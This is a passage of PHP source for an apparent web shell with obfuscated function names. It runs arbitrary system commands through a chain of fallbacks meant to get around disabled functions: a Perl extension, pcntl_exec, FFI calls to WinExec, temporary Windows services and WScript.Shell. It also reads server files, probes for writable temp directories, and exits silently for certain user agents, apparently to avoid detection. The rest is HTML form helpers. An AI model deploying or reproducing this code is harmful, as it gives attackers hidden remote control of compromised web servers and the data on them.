dZmdnMWF4ABSLRcplHxH7fHylFL7vMz09TRiG9Pt9tra2WFlZoVar4fv+PuC6bmN1dfXkwsICqVTqPx9IKUW1WqXb7RIEAfV6Hdd1G24+n7/VbDbv1Ov1117knT3Pa5ZKpVvPANPKWvOoFTopAAAAAElFTkSuQmCC",
1167 "htaccess" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAmFJREFUOMuV089LVFEYxvHvvXOuMzU69zZjlpWl+StzjBTLCAoljSL6sQiDVi2CNhFBSdtwFSK1rL+goCBoaQaGJBWTSONUNpOTlZFTQVZq051z7mkhKaQGvvAuz4fnOfAasVisTUrZ7XneNpYxpmnGhRAXjf7+/nhRIFaHOUl4RRMF4V2ISAhtgIGx6GPP88hkMoyNjQ0L13Xr8go8PqeG+DqUxhkboehoFH9TNUbYwTDFokgkEiGZTNYJpRROyUHM9DdGHnzkSSxDVd8kVXsShA9XYbU04LNDCwClFEopTCklPqsEu+Ik5WsqsXwh7kyEuXlXMnFpgFzXbdxUGq31gpVS4mtvb79cWlqKYYcwNzgY76axxhWDmIxMSza++Elo+CXaFpiVxaDn/yWdTmMqpWZFNIGdFUTPlXGg+hOHPD9fzHV0/Zph8JHF7ys95Hp78JQ7l2CuwnwssFq2s6qzmeaaUU6rH4SNzVwzvjGQXEu28zGq7yHay81V+AfQaG1gtuwgcPUIFVXvOaY8HKOG6ypLb6KeyRuvUB/G0Z63FDC7vsYowfPNbHHe0irzyZnl3MqzePO0COPeM/DU/wG0xjy+l+CpKPX+UXbLMJNelqGpDF/iU2Rnsv8HtNZoD8SZVkpOFNNmvSZqOPRt+sn9xgifsy5SSsRfYKnRThDrwj7KC5+z/7uffruQrD2DszIwD+RyOYQQSyJqdT7Bs000uJLS6fUMx2Lo3GwCUwiRjMfjuK67dBWt0X4fth2grLiYrbW1DCcSCCGSIhgMdqRSqe5EIlG5nHP2+/0p27Y7/gDPzYj0H4o5FQAAAABJRU5ErkJggg==",
1168 );
1169
1170/* functions */
1171function z7x($i, $k = '')
1172{
1173 global $config;
1174 $m = array(
1175 "version",
1176 "auth",
1177 "default_vars",
1178 "banned",
1179 "use_buffer",
1180 "visual",
1181 "reg_interesting",
1182 "reg_bad");
1183 if (!@isset($m[$i]))
1184 return '';
1185 return ($k != '') ? (@isset($config[$m[$i]][$k]) ? $config[$m[$i]][$k] : '') : (@
1186 isset($config[$m[$i]]) ? $config[$m[$i]] : '');
1187}
1188function z3c($i, $t)
1189{
1190 if ($t != 'd' && $t != 'f' && $t != 'l' && $t != 'e')
1191 return '';
1192 if ($t == 'l' || $t == 'e')
1193 $t = 'f';
1194 $cs = z9w('reg_self');
1195 $ci = z9w('reg_interesting');
1196 $cb = z9w('reg_bad');
1197 if ($t == 'f' && $i == @basename(__file__))
1198 return (($cs != '') ? ' style="color: ' . $cs . '";' : '');
1199 foreach (z7x('6', $t) as $r) {
1200 if (@preg_match('/' . $r . '/i', $i))
1201 return (($ci != '') ? ' style="color: ' . $ci . '";' : '');
1202 }
1203 foreach (z7x('7', $t) as $r) {
1204 if (@preg_match('/' . $r . '/i', $i))
1205 return (($cb != '') ? ' style="color: ' . $cb . '";' : '');
1206 }
1207}
1208function z6j()
1209{
1210 $i = @ini_get('disable_functions');
1211 if ($i != '') {
1212 $f = @array_map('trim', @explode(',', $i));
1213 @sort($f);
1214 return $f;
1215 } else {
1216 return array();
1217 }
1218}
1219function z9w($i)
1220{
1221 global $color_skin;
1222 $a = z7x('5', $color_skin);
1223 return @isset($a[$i]) ? $a[$i] : '';
1224}
1225function z9u()
1226{
1227 if (@isset($_SERVER['HTTP_USER_AGENT'])) {
1228 if (@preg_match('/' . @implode('|', z7x(3, "agents")) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
1229 @header(z7x(3, "send_header"));
1230 exit(0);
1231 }
1232 }
1233}
1234z9u();
1235function z9s($k, $w = '', $u = 0)
1236{
1237 global $lang;
1238 $l = z7x(2, "language");
1239 $r = '';
1240 if (!isset($lang[$l][$k]))
1241 return "?";
1242 $r = $lang[$l][$k];
1243 if ($w !== '') {
1244 if (@is_array($w)) {
1245 for ($i = 0; $i < @count($w); $i++) {
1246 if (@isset($w[$i]))
1247 $r = @str_replace("[%" . ($i + 1) . "%]", $w[$i], $r);
1248 }
1249 } else {
1250 $r = @str_replace("[%1%]", $w, $r);
1251 }
1252 }
1253 return ($u ? @strtoupper($r) : $r);
1254}
1255function z9a()
1256{
1257 $o = '';
1258 if (@defined('PHP_OS')) {
1259 $o = PHP_OS;
1260 } elseif (@function_exists('php_uname') && @is_callable('php_uname')) {
1261 $o = @php_uname('s');
1262 }
1263 return !@empty($o) ? $o : "*NIX";
1264}
1265function z6b()
1266{
1267 $i = @get_included_files();
1268 return (@count($i) > 0) ? ($i[0] != __file__) : 0;
1269}
1270function z9d($d, $s = ':')
1271{
1272 if ($d != '') {
1273 if (!@strstr($d, $s))
1274 return array($d);
1275 return @array_map('trim', @explode($s, $d));
1276 }
1277 return array();
1278}
1279function z9i($i)
1280{
1281 foreach (array(
1282 "a" => "4",
1283 "e" => "3",
1284 "o" => "0",
1285 "s" => "5",
1286 "l" => "1",
1287 "t" => "7") as $k => $v) {
1288 $i = @str_replace(array($k, @strtoupper($k)), $v, $i);
1289 }
1290 return $i;
1291}
1292function z3k()
1293{
1294 $wwwdir = false;
1295 if (@isset($_SERVER["SCRIPT_NAME"])) {
1296 $sn = z1i($_SERVER["SCRIPT_NAME"]);
1297 if (@realpath($sn)) {
1298 $sp = z1i(@realpath($sn));
1299 } else {
1300 $sp = z1i(@realpath(__file__));
1301 }
1302 $wwwdir = z1a(@substr($sp, 0, @strpos($sp, $sn)));
1303 }
1304 return $wwwdir;
1305}
1306function z6k()
1307{
1308 global $win;
1309 $s = '/';
1310 $tmp = array();
1311 $tp = array();
1312 $tn = array(
1313 '/tmp/',
1314 '/dev/shm/',
1315 '/var/tmp/');
1316 $tw = array("%WINDIR/temp/");
1317 $ti = array(@ini_get('session.save_path'), @ini_get('upload_tmp_dir'));
1318 $te = array(
1319 'TMP',
1320 'TMPDIR',
1321 'TEMP');
1322 if ($win) {
1323 foreach ($tw as $t)
1324 $tp[] = $t;
1325 } else {
1326 foreach ($tn as $t)
1327 $tp[] = $t;
1328 }
1329 if (@isset($_ENV)) {
1330 foreach ($te as $t) {
1331 if (!@empty($_ENV[$t]))
1332 $tp[] = @realpath($_ENV[$t]);
1333 }
1334 }
1335 foreach ($ti as $t) {
1336 if (!@empty($t))
1337 $tp[] = $t;
1338 }
1339 $b = z9d(@ini_get('open_basedir'));
1340 if (@count($b) > 0) {
1341 foreach ($b as $t) {
1342 if (!empty($t))
1343 $tp[] = $t;
1344 }
1345 }
1346 $tp[] = @realpath(@dirname(__file__));
1347 for ($i = 0; $i < @count($tp); $i++) {
1348 if (!@empty($tp[$i])) {
1349 $p = @str_replace('\\', $s, $tp[$i]);
1350 if (@substr($p, -1, 1) != $s) {
1351 $p .= $s;
1352 }
1353 if (!@in_array($p, $tmp)) {
1354 $f = @md5(@uniqid(@time()));
1355 $fp = @fopen($p . $f, "w");
1356 if ($fp) {
1357 @fclose($fp);
1358 if (@file_exists($p . $f)) {
1359 @unlink($p . $f);
1360 $tmp[] = @trim($p);
1361 }
1362 }
1363 }
1364 }
1365 }
1366 return (@count($tmp) > 0) ? $tmp : array("./");
1367}
1368function z9p($f)
1369{
1370 global $nix, $sh_exec;
1371 $r = '';
1372 if (z7r('fopen') && z7r('feof') && z7r('fgets') && z7r('feof') && z7r('fclose') &&
1373 ($fp = @fopen($f, 'r')) !== false) {
1374 while (!@feof($fp)) {
1375 $r .= @fgets($fp);
1376 }
1377 ;
1378 @fclose($fp);
1379 } elseif (z7r('fopen') && z7r('fread') && z7r('fclose') && z7r('filesize') && ($fp =
1380 @fopen($f, 'r')) !== false) {
1381 $r = @fread($fp, @filesize($f));
1382 @fclose($fp);
1383 } elseif ($nix && $sh_exec) {
1384 $r = z9t('cat "' . $f . '" 2>/dev/null', 0);
1385 } elseif (z7r('file') && ($fl = @file($f))) {
1386 foreach ($fl as $l) {
1387 $r .= $l;
1388 }
1389 } elseif (z7r('file_get_contents')) {
1390 $r = @file_get_contents($f);
1391 } elseif (z7r('readfile')) {
1392 $r = @readfile($f);
1393 } elseif (z7r('highlight_file')) {
1394 $r = @highlight_file($f);
1395 } elseif (z7r('show_source')) {
1396 $r = @show_source($f);
1397 }
1398 return $r;
1399}
1400function z9o($f, $t = '')
1401{
1402 global $tempdir;
1403 $s = '';
1404 if (!$t)
1405 $t = @tempnam($tempdir, "copytemp");
1406 if (@copy("compress.zlib://" . $f, $t)) {
1407 $s = z9p($t);
1408 @unlink($t);
1409 }
1410 return $s;
1411}
1412function z9y($t, $s = '')
1413{
1414 if (z7r('fopen') && z7r('fwrite') && z7r('fclose') && ($f = @fopen($t, "wb"))
1415 !== false) {
1416 @fwrite($f, $s);
1417 @fclose($f);
1418 } elseif (z7r('fopen') && z7r('fputs') && z7r('fclose') && ($f = @fopen($t, "wb"))
1419 !== false) {
1420 @fputs($f, $s);
1421 @fclose($f);
1422 } elseif (z7r('file_put_contents')) {
1423 return @file_put_contents($t, $s);
1424 } else {
1425 return 0;
1426 }
1427 return 1;
1428}
1429function z7r($f)
1430{
1431 return (@function_exists($f) && @is_callable($f) && !@in_array($f, z6j())) ? 1 :
1432 0;
1433}
1434function z4r($v)
1435{
1436 if ($v == '')
1437 return 'no value';
1438 if (@is_bool($v))
1439 return $value ? 'TRUE' : 'FALSE';
1440 if ($v === null)
1441 return 'NULL';
1442 if (@is_object($v))
1443 $v = (array )$v;
1444 if (@is_array($v)) {
1445 @ob_start();
1446 print_r($v);
1447 $v = @ob_get_contents();
1448 @ob_end_clean();
1449 }
1450 return (string )$v;
1451}
1452function z6l($i)
1453{
1454 return (z7r('escapeshellarg')) ? @escapeshellarg($i) : $i;
1455}
1456function z9t($c, $h = 1)
1457{
1458 $r = '';
1459 if (!empty($c)) {
1460 if (z7r('shell_exec')) {
1461 $r = @shell_exec($c);
1462 } elseif (z7r('system')) {
1463 @ob_start();
1464 @system($c);
1465 $r = @ob_get_contents();
1466 @ob_end_clean();
1467 } elseif (z7r('passthru')) {
1468 @ob_start();
1469 @passthru($c);
1470 $r = @ob_get_contents();
1471 @ob_end_clean();
1472 } elseif (z7r('exec')) {
1473 @exec($c, $r);
1474 $r = @join("\n", $r);
1475 } elseif (z7r('popen') && @is_resource($f = @popen($c, "r"))) {
1476 if (z7r('fread') && z7r('feof')) {
1477 while (!@feof($f)) {
1478 $r .= @fread($f, 1024);
1479 }
1480 } elseif (z7r('fgets') && z7r('feof')) {
1481 while (!@feof($f)) {
1482 $r .= @fgets($f, 1024);
1483 }
1484 }
1485 @pclose($f);
1486 } elseif (z7r('proc_open') && @is_resource($f = @proc_open($c, array(1 => array("pipe",
1487 "w")), $p))) {
1488 if (z7r('fread') && z7r('feof')) {
1489 while (!@feof($p[1])) {
1490 $r .= @fread($p[1], 1024);
1491 }
1492 } elseif (z7r('fgets') && z7r('feof')) {
1493 while (!@feof($p[1])) {
1494 $r .= @fgets($p[1], 1024);
1495 }
1496 }
1497 @proc_close($f);
1498 }
1499 } else {
1500 $r = z6v($c);
1501 }
1502 return ($h ? @htmlspecialchars($r) : $r);
1503}
1504function z6v($c)
1505{
1506 global $win, $tempdir;
1507 $r = '';
1508 if (!empty($c)) {
1509 if (!$win) {
1510 if (extension_loaded('perl')) {
1511 @ob_start();
1512 $p = new perl();
1513 $p->eval("system('$c')");
1514 $r = @ob_get_contents();
1515 @ob_end_clean();
1516 } elseif (z7r('pcntl_exec') && z7r('pcntl_fork')) {
1517 $r = '[~] Blind Command Execution via [pcntl_exec]\n\n';
1518 $o = $tempdir . uniqid('pcntl');
1519 $pid = @pcntl_fork();
1520 if ($pid == -1) {
1521 $r .= '[-] Could not fork. Exit';
1522 } elseif ($pid) {
1523 $r .= (@pcntl_wifexited($status) ? '[+] Done! Command "' . $c .
1524 '" successfully executed.' : '[-] Error. Incorrect Command.');
1525 } else {
1526 $c = array(" -e 'system(\"$c > $o\")'");
1527 if (@pcntl_exec('/usr/bin/perl', $c))
1528 exit(0);
1529 if (@pcntl_exec('/usr/local/bin/perl', $c))
1530 exit(0);
1531 die();
1532 }
1533 $r = z9p($o);
1534 @unlink($o);
1535 }
1536 } else {
1537 $o = $tempdir . uniqid('NJ');
1538 if (extension_loaded('ffi')) {
1539 $a = new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
1540 $r = $a->WinExec("cmd.exe /c " . z6l($c) . " >\"$o\"", 0);
1541 while (!@file_exists($o))
1542 sleep(1);
1543 $r = z9p($o);
1544 } elseif (extension_loaded('win32service')) {
1545 $s = uniqid('NJ');
1546 @win32_create_service(array(
1547 'service' => $s,
1548 'display' => $s,
1549 'path' => 'c:\\windows\\system32\\cmd.exe',
1550 'params' => "/c " . z6l($c) . " >\"$o\""));
1551 @win32_start_service($s);
1552 @win32_stop_service($s);
1553 @win32_delete_service($s);
1554 while (!@file_exists($o))
1555 sleep(1);
1556 $r = z9p($o);
1557 } elseif (extension_loaded("win32std")) {
1558 @win_shell_execute('..\\..\\..\\..\\..\\..\\..\\windows\\system32\\cmd.exe /c ' .
1559 z6l($c) . ' > "' . $o . '"');
1560 while (!@file_exists($o))
1561 sleep(1);
1562 $r = z9p($o);
1563 } else {
1564 $a = new COM("WScript.Shell");
1565 $a->Run('c:\\windows\\system32\\cmd.exe /c ' . z6l($c) . ' > "' . $o . '"');
1566 $r = z9p($o);
1567 }
1568 @unlink($o);
1569 }
1570 }
1571 return $r;
1572}
1573function z10r()
1574{
1575 list($u, $s) = @explode(" ", @microtime());
1576 return ((float)$u + (float)$s);
1577}
1578function z4m($c, $i)
1579{
1580 $a = array(
1581 '0' => array(
1582 'container',
1583 'login',
1584 'footer',
1585 'headnfo',
1586 'ql',
1587 'nav',
1588 'sinfo',
1589 'tfilter',
1590 'tahex',
1591 'phpinfo'),
1592 '1' => array('list1', 'list2'),
1593 '2' => array(
1594 'lerror',
1595 'topcf',
1596 'topt',
1597 'topc',
1598 'tdfooter',
1599 'tdql',
1600 'tdsinfo',
1601 'tdlsh1',
1602 'tdlsh2',
1603 'tdlsf',
1604 'tdlsfn',
1605 'tdfilter',
1606 'tdhead',
1607 'tdph',
1608 'tdpl',
1609 'tdlbl',
1610 'thex1',
1611 'thex2',
1612 'thex3',
1613 'tdlsf1',
1614 'tdmail'),
1615 '3' => array(
1616 "scroll",
1617 "selector",
1618 "divls",
1619 "dwidth",
1620 "barbg",
1621 "barfil"),
1622 '4' => array(
1623 'size1',
1624 'size2',
1625 'size3',
1626 'size4',
1627 'size5',
1628 'size6',
1629 'size7',
1630 'size8',
1631 'size9',
1632 'size10'),
1633 '5' => array(
1634 'links',
1635 'slinks',
1636 'button',
1637 'head',
1638 'ql1',
1639 'ql2',
1640 'but1',
1641 'but2',
1642 'but3',
1643 'fimg',
1644 'dirlist',
1645 'filelist',
1646 'ftactive',
1647 'ftcompat',
1648 'ftother',
1649 'qlback',
1650 'mbut1',
1651 'mbut2',
1652 'actbut'),
1653 '6' => array(
1654 'console',
1655 'tgeneric',
1656 'tedit',
1657 'txmail',
1658 'tsql1',
1659 'tsql2',
1660 'tinj'),
1661 );
1662 return (@isset($a[$i][$c]) ? $a[$i][$c] : '');
1663}
1664function z6z($a = '', $c = '', $s = '')
1665{
1666 return '<table cellpadding="0" cellspacing="0" border="0"' . (($a != '') ?
1667 ' align="' . $a . '"' : '') . (($c != '') ? ' class="' . z4m($c, '0') . '"' : '') . (($s !=
1668 '') ? z10t($s) : '') . '>' . "\n";
1669}
1670function z9m($c = '', $s = '')
1671{
1672 return z6z('', $c, $s);
1673}
1674function z7t($c = '', $s = '')
1675{
1676 return z6z('left', $c, $s);
1677}
1678function z7f($c = '', $s = '')
1679{
1680 return z6z('right', $c, $s);
1681}
1682function z7h($c = '', $s = '')
1683{
1684 return z6z('center', $c, $s);
1685}
1686function z10w()
1687{
1688 return '</table>' . "\n";
1689}
1690function z10e($i, $c = '', $s = '')
1691{
1692 return z9m($c, $s) . $i . z10w();
1693}
1694function z7j($i, $c = '', $s = '')
1695{
1696 return z7t($c, $s) . $i . z10w();
1697}
1698function z7d($i, $c = '', $s = '')
1699{
1700 return z7f($c, $s) . $i . z10w();
1701}
1702function z7s($i, $c = '', $s = '')
1703{
1704 return z7h($c, $s) . $i . z10w();
1705}
1706function z7u()
1707{
1708 return '</tr>' . "\n";
1709}
1710function z6f($v, $c = '', $id = '')
1711{
1712 return '<tr valign="' . $v . '"' . (($id != '') ? ' id="' . $id . '"' : '') . (($c !=
1713 '') ? ' class="' . z4m($c, '1') . '"' : '') . '>' . "\n";
1714}
1715function z7y($i, $v, $c = '', $id = '')
1716{
1717 return z6f($v, $c, $id) . $i . z7u();
1718}
1719function z9f($i, $c = '', $id = '')
1720{
1721 return z7y($i, "top", $c, $id);
1722}
1723function z7i($i, $c = '', $id = '')
1724{
1725 return z7y($i, "middle", $c, $id);
1726}
1727function z7a($i, $c = '', $id = '')
1728{
1729 return z7y($i, "bottom", $c, $id);
1730}
1731function z7p($c = '', $id = '')
1732{
1733 return z6f("top", $c, $id);
1734}
1735function z6g($c = '', $id = '')
1736{
1737 return z6f("middle", $c, $id);
1738}
1739function z5v($c = '', $id = '')
1740{
1741 return z6f("bottom", $c, $id);
1742}
1743function z5n()
1744{
1745 return z9f(z9j(' '));
1746}
1747function z6d()
1748{
1749 return z10e(z5n());
1750}
1751function z5x($a = '', $c = '', $s = '')
1752{
1753 return '<div' . (($a != '') ? ' align="' . $a . '"' : '') . (($c != '') ?
1754 ' class="' . z4m($c, '3') . '"' : '') . (($s != '') ? z10t($s) : '') . '>';
1755}
1756function z5j()
1757{
1758 return '</div>';
1759}
1760function z5l($a = '', $c = '', $s = '')
1761{
1762 return '<td' . (($a != '') ? ' align="' . $a . '"' : '') . (($c != '') ?
1763 ' class="' . z4m($c, '2') . '"' : '') . (($s != '') ? z10t($s) : '') . '>' . "\n";
1764}
1765function z7k($c = '', $s = '')
1766{
1767 return z5l('', $c, $s);
1768}
1769function z5z($c = '', $s = '')
1770{
1771 return z5l('left', $c, $s);
1772}
1773function z6q($c = '', $s = '')
1774{
1775 return z5l('right', $c, $s);
1776}
1777function z6w($c = '', $s = '')
1778{
1779 return z5l('center', $c, $s);
1780}
1781function z4c($a = '', $n, $c = '', $s = '')
1782{
1783 return '<td colspan="' . $n . '"' . (($a != '') ? ' align="' . $a . '"' : '') . (($c !=
1784 '') ? ' class="' . z4m($c, '2') . '"' : '') . (($s != '') ? z10t($s) : '') . '>' .
1785 "\n";
1786}
1787function z6o($n, $c = '', $s = '')
1788{
1789 return z4c('', $n, $c, $s);
1790}
1791function z4k($n, $c = '', $s = '')
1792{
1793 return z4c('left', $n, $c, $s);
1794}
1795function z4l($n, $c = '', $s = '')
1796{
1797 return z4c('right', $n, $c, $s);
1798}
1799function z4z($n, $c = '', $s = '')
1800{
1801 return z4c('center', $n, $c, $s);
1802}
1803function z7g()
1804{
1805 return '</td>' . "\n";
1806}
1807function z9j($i, $c = '', $s = '')
1808{
1809 return z7k($c, $s) . $i . z7g();
1810}
1811function z7l($i, $c = '', $s = '')
1812{
1813 return z5z($c, $s) . $i . z7g();
1814}
1815function z7e($i, $c = '', $s = '')
1816{
1817 return z6q($c, $s) . $i . z7g();
1818}
1819function z6x($i, $c = '', $s = '')
1820{
1821 return z6w($c, $s) . $i . z7g();
1822}
1823function z6c($i, $n, $c = '', $s = '')
1824{
1825 return z6o($n, $c, $s) . $i . z7g();
1826}
1827function z6u($i, $n, $c = '', $s = '')
1828{
1829 return z4k($n, $c, $s) . $i . z7g();
1830}
1831function z6r($i, $n, $c = '', $s = '')
1832{
1833 return z4l($n, $c, $s) . $i . z7g();
1834}
1835function z6t($i, $n, $c = '', $s = '')
1836{
1837 return z4z($n, $c, $s) . $i . z7g();
1838}
1839function z5w($n = '', $c, $r = 0, $w = '', $h = '')
1840{
1841 return '<textarea' . ($n != '' ? ' id="' . $n . '" name="' . $n . '"' : '') .
1842 ' class="' . z4m($c, '6') . '"' . (($w != '' || $h != '') ? ' style="' . ($w !=
1843 '' ? 'width:' . $w . 'px;' : '') . ($h != '' ? 'height:' . $h . 'px;' : '') .
1844 '"' : '') . ($r ? ' readonly' : '') . '>';
1845}
1846function z5q()
1847{
1848 return '</textarea>';
1849}
1850function z9l($t = '', $n = '')
1851{
1852 return '<form method="POST" action=""' . (($t != '') ? ' target="_blank"' : '') . (($n !=
1853 '') ? ' name="' . $n . '" id="' . $n . '"' : '') . '>';
1854}
1855function z7w($c = '', $t = '')
1856{
1857 return '<form method="POST" action=""' . (($t != '') ? ' target="_blank"' : '') . (($c !=
1858 '') ? ' class="' . z4m($c, '3') . '"' : '') . '>';
1859}
1860function z7z()
1861{
1862 return '<form method="POST" action="" enctype="multipart/form-data">';
1863}
1864function z7o($u, $t = '', $m = 'GET')
1865{
1866 return '<form method="' . $m . '" action="' . $u . '"' . (($t != '') ?
1867 ' target="_blank"' : '') . '>';
1868}
1869function z9z()
1870{
1871 return '</form>';
1872}
1873function z10t($i)
1874{
1875 $u = array();
1876 if (!@is_numeric($i))
1877 return '';
1878 $a = array(
1879 'border-top:0;',
1880 'border-bottom:0;',
1881 'border-left:0;',
1882 'border-right:0;',
1883 'width: 50%;',
1884 'width: 33%;',
1885 'border-left: 1px solid #DDDDDD;',
1886 'text-align: right !important;',
1887 'width: 150px !important;',
1888 'margin-left: 0 !important;');
1889 $r = '';
1890 if (@strlen($i) > 1) {
1891 for ($n = 0; $n < @strlen($i); $n++) {
1892 $c = $i[$n];
1893 if (@isset($a[$c]) && !@isset($u[$c])) {
1894 $r .= $a[$c];
1895 $u[$c] = '';
1896 }
1897 }
1898 } else {
1899 if (@isset($a[$i]))
1900 $r .= $a[$i];
1901 }
1902 return ($r != '') ? ' style="' . $r . '"' : $r;
1903}
1904function z8x($i)
1905{
1906 return (@is_bool($i) ? (($i) ? '1' : '0') : $i);
1907}
1908function z9x($n = 1)
1909{
1910 return @str_repeat("<br>", $n);
1911}
1912function z9c($n = 1)
1913{
1914 return @str_repeat(" ", $n);
1915}
1916function z6y($t, $c = '')
1917{
1918 return '<span class="' . $c . '">' . $t . '</span>';
1919}
1920function z4p($t)
1921{
1922 return z6y($t, "nw");
1923}
1924function z8z($t)
1925{
1926 return z6y($t, "nr");
1927}
1928function z5i($t)
1929{
1930 return z6y($t, "rw");
1931}
1932function z9k()
1933{
1934 return ' onfocus="this.select();" onmouseover="this.select();" onmouseout="this.select();"';
1935}
1936function z4w($n, $v)
1937{
1938 global ${$n};
1939 return '<input type="radio" name="' . $n . '" value="' . $v . '"' . ((@isset(${
1940 $n}) && ${$n} == $v) ? ' checked' : '') . '>';
1941}
1942function z9g($n, $v = '1', $o = '', $i = '')
1943{
1944 global ${$n};
1945 return '<input type="checkbox" id="' . $i . '" name="' . $n . '" value="' . $v .
1946 '" style="vertical-align: middle;"' . (($o == '') ? ((${$n} == $v) ? ' checked' :
1947 '') : (($o) ? ' checked' : '')) . '>';
1948}
1949function z6e($f, $t)
1950{
1951 return '<label for="' . $f . '">' . $t . '</label>';
1952}
1953function z5y($i, $t, $n, $v = '1', $o = '')
1954{
1955 return z9g($n, $v, $o, $i) . z6e($i, $t);
1956}
1957function z9h($n, $c = '', $s = '')
1958{
1959 return '<input type="file" name="' . $n . '" id="' . $n . '"' . (($c != '') ?
1960 ' class="' . z4m($c, '4') . '"' : '') . (($s != '') ? z10t($s) : '') . '>';
1961}
1962function z8h($v, $c = '', $o = '')
1963{
1964 return '<input type="text" value="' . z8x($v) . '"' . (($c != '') ? ' class="' .
1965 z4m($c, '4') . '"' : '') . (($o != '') ? z9k() : '') . '>';
1966}
1967function z6i($n, $v, $c = '', $o = '', $s = '')
1968{
1969 return '<input type="text" name="' . $n . '" value="' . z8x($v) . '"' . (($c !=
1970 '') ? ' class="' . z4m($c, '4') . '"' : '') . ($s != '' ? ' ' . (@is_numeric($s) ?
1971 z10t($s) : $s) : '') . (($o != '') ? z9k() : '') . '>';
1972}
1973function z5u($n, $v, $c = '', $o = '', $s = '')
1974{
1975 global ${$n};
1976 return '<input type="text" name="' . $n . '" value="' . ((@isset(${$n}) && !@
1977 empty(${$n})) ? ${$n} : ((@isset($_SESSION[$n])) ? $_SESSION[$n] : z8x($v))) .
1978 '"' . (($c != '') ? ' class="' . z4m($c, '4') . '"' : '') . ($s != '' ? ' ' . (@
1979 is_numeric($s) ? z10t($s) : $s) : '') . (($o != '') ? z9k() : '') . '>';
1980}
1981function z6a($n, $v, $c = '', $o = '')
1982{
1983 return '<input type="password" name="' . $n . '" value="' . z8x($v) . '"' . (($c !=
1984 '') ? ' class="' . z4m($c, '4') . '"' : '') . (($o != '') ? z9k() : '') . '>';
1985}
1986function z5e($n, $v, $c = '', $o = '')
1987{
1988 global ${$n};
1989 return '<input type="password" name="' . $n . '" value="' . ((@isset(${$n}) && !
1990 @empty(${$n})) ? ${$n} : z8x($v)) . '"' . (($c != '') ? ' class="' . z4m($c, '4') .
1991 '"' : '') . (($o != '') ? z9k() : '') . '>';
1992}
1993function z6p($n, $i, $c = '', $s = '')
1994{
1995 return '<input type="submit" ' . ($n != '' ? ' name="' . $n . '"' : '') .
1996 'value="' . z8x($i) . '"' . (($c != '') ? ' class="' . z4m($c, '5') . '"' : '') . (($s !=
1997 '') ? (@is_numeric($s) ? z10t($s) : $s) : '') . '>';
1998}
1999function z8v($i, $c = '', $s = '')
2000{
2001 return z6p('', $i, $c, $s);
2002}
2003function z1f($t, $i, $a, $c = '')
2004{
2005 return '<input type="' . $t . '" value="' . $i . '" ' . ($t == 'submit' ?
2006 'onsubmit' : 'onclick') . '="' . $a . '"' . (($c != '') ? ' class="' . z4m($c,
2007 '5') . '"' : '') . '>';
2008}
2009function z9q($i, $a, $c = '')
2010{
2011 return z1f('submit', $i, $a, $c);
2012}
2013function z8m($i, $a, $c = '')
2014{
2015 return z1f('button', $i, $a, $c);
2016}
2017function z8n($i, $a = '', $c = '', $e = '')
2018{
2019 global $use_images;
2020 return ($use_images ? '<input type="image" src="?act=i&img=' . $i . (($e !=
2021 '') ? '&exe=1' : '') . '" value="' . $a . '" alt="' . $a . '"' . (($c != '') ?
2022 ' class="' . z4m($c, '5') . '"' : '') . '>' : z1s(($i == 'small_dir' || $i ==
2023 'small_home' ? 'd' : 'f')));
2024}
2025function z2x($ip)
2026{
2027 $ip = @preg_replace('/[\t\s\r\n]/', '', $ip);
2028 if (!@is_numeric(@str_replace(".", "", $ip)) || @substr_count($ip, ".") != 3) {
2029 return "failed";
2030 } else {
2031 $octets = @explode(".", $ip);
2032 $dec = ($octets[0] * 1 << 24) + ($octets[1] * 1 << 16) + ($octets[2] * 1 << 8) + ($octets[3]);
2033 return $dec;
2034 }
2035}
2036function z2n($ip)
2037{
2038 $ip = @preg_replace('/[\t\s\r\n]/', '', $ip);
2039 if (!@is_numeric(@str_replace(".", "", $ip)) || @substr_count($ip, ".") != 3) {
2040 return "failed";
2041 } else {
2042 $dec = z2x($ip);
2043 $hex = "0x" . @dechex($dec);
2044 return $hex;
2045 }
2046}
2047function z1h($ip, $oct = "")
2048{
2049 $ip = @preg_replace('/[\t\s\r\n]/', '', $ip);
2050 if (!@is_numeric(@str_replace(".", "", $ip)) || @substr_count($ip, ".") != 3) {
2051 return "failed";
2052 } else {
2053 $octets = @explode(".", $ip);
2054 for ($i = 0; $i < 4; $i++) {
2055 $decoct = @decoct($octets[$i]);
2056 $len = @strlen($decoct);
2057 $leading = (9 - $len);
2058 $oct .= @str_repeat("0", $leading) . $decoct . ".";
2059 }
2060 $oct = @substr($oct, 0, @strlen($oct) - 1);
2061 return $oct;
2062 }
2063}
2064function z9b($n, $v = null)
2065{
2066 global ${$n};
2067 return '<input type="hidden" name="' . $n . '" value="' . (($v == null) ? ((@
2068 isset(${$n}) && !@empty(${$n})) ? ${$n} : '') : z8x($v)) . '"' . '>';
2069}
2070function z8q($n, $v = null)
2071{
2072 global ${$n};
2073 return '<input type="hidden" name="' . $n . '" value="' . (($v == null) ? ((@
2074 isset(${$n}) && !@empty(${$n})) ? ${$n} : ((@isset($_SESSION[$n])) ? $_SESSION[$n] :
2075 '')) : z8x($v)) . '"' . '>';
2076}
2077function z5k()
2078{
2079 return (z7r('get_current_user') && @get_current_user() != '') ? @
2080 get_current_user() : 'Unknown';
2081}
2082function z2s($a = array())
2083{
2084 $r = '';
2085 foreach ($a as $k => $v) {
2086 $r .= (@is_numeric($k) ? z9b($v) : z9b($k, $v));
2087 }
2088 return $r;
2089}
2090function z8g($n, $v = null)
2091{
2092 global ${$n};
2093 return (($v == null) ? ((@isset(${$n}) && !@empty(${$n})) ? ${$n} : '') : z8x($v));
2094}
2095function z3e($a = array())
2096{
2097 if (@isset($a['backf']))
2098 return z2s($a);
2099 $r = '';
2100 foreach ($a as $k => $v) {
2101 $r .= (@is_numeric($k) ? $v . '=' . @urlencode(z8g($v)) : $k . '=' . @urlencode
2102 (z8g($k, $v))) . '&';
2103 }
2104 if ($r != '')
2105 $r = z9b('merged', @base64_encode($r));
2106 return $r;
2107}
2108function z8w($a, $t = '', $u = 0)
2109{
2110 return ($u ? z7z() : z9l($t)) . z3e($a);
2111}
2112function z5c($a, $i, $t = '')
2113{
2114 return z8w($a, $t) . $i . z9z();
2115}
2116function z5m($a, $i)
2117{
2118 return z8w($a, '', 1) . $i . z9z();
2119}
2120function z8e($i)
2121{
